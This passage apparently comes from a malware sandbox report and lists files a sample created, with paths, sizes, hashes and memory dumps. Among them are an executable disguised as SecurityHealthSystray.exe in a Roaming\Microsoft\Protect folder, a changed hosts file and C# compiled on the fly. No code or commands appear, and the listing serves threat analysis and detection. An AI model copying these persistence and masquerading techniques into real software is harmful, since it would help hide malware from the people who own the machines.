              • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 287307bc450d600c2d2233396ad78e35ee001205892e0d2fc4efa4360072a1f1
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              RES74A9.tmp
              • Path C:\Users\Admin\AppData\Local\Temp\RES74A9.tmp
              • Size 1KB
              • SHA256 62ea37dccd52f8ade94ea2b443f4593fabeb0cea53ee7d9e1b7069ba3a9e909c
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              __PSScriptPolicyTest_dvgtutca.qpq.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dvgtutca.qpq.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              Display (1).png
              • Path C:\Users\Admin\AppData\Local\Temp\naNEBSwemV\Display (1).png
              • Size 532KB
              • SHA256 3a426f38dcd65abe9ecbdac19cc7d80758ccaaeab13d82b919ed5392a7fe9f5b
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              skok0dz0.dll
              • Path C:\Users\Admin\AppData\Local\Temp\skok0dz0\skok0dz0.dll
              • Size 4KB
              • SHA256 a1430535993045e615c89e893ced7c73e690490869dc31acb0e4f8cef0770f6b
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              SecurityHealthSystray.exe
              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
              • Size 10.5MB
              • SHA256 813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              hosts
              • Path C:\Windows\System32\drivers\etc\hosts
              • Size 2KB
              • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              CSC2605355A1E2041519C9A6DD02C2D3AE8.TMP
              • Path \??\c:\Users\Admin\AppData\Local\Temp\skok0dz0\CSC2605355A1E2041519C9A6DD02C2D3AE8.TMP
              • Size 652B
              • SHA256 b1d3668f1575ed88a3f0d102d5fb1d14fee8f56f2ce368c5e34fbe3053eb5976
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              skok0dz0.0.cs
              • Path \??\c:\Users\Admin\AppData\Local\Temp\skok0dz0\skok0dz0.0.cs
              • Size 1004B
              • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              skok0dz0.cmdline
              • Path \??\c:\Users\Admin\AppData\Local\Temp\skok0dz0\skok0dz0.cmdline
              • Size 607B
              • SHA256 a729e3b6fee4a595a94cd24dc4025a299ee6209707eb62b31af6596a96add5ba
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/1844-43-0x000001D442B60000-0x000001D442B68000-memory.dmp
              Download

              memory/5844-17-0x0000017450080000-0x0000017450132000-memory.dmp
              Download

              memory/5844-10-0x000001744FF80000-0x000001744FFA2000-memory.dmp
              Download

              memory/5844-16-0x0000017450010000-0x000001745002E000-memory.dmp
              Download

              memory/5844-18-0x0000017450030000-0x000001745003A000-memory.dmp
              Download